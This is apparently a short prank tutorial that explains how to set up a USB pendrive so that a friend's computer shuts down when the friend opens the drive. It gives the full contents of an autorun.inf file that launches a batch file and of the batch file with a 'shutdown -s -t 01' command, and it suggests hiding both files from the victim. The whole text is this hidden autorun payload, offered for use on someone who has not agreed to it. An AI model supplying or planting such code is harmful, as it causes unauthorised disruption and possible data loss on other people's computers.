Hear is a trick to play on your friend, You can shutdown his computer immidiatly when he tries to open your pendrive.

All you need is to create two files on notepad.

1). Open notepad and copy and paste following:

[autorun]

shellexecute=shut.bat

2).Now save it by name autorun.inf

3).Now again on notepad copy and paste following:

shutdown -s -t 01

4).Save it by name shut.bat

5).Put these files in your pendrive (DO NOT put these inside any folder or it won't work)

6).You may also hide these files.

7). Now eject your pendrive and reinsert it, double-click on it and your computer will shutdown.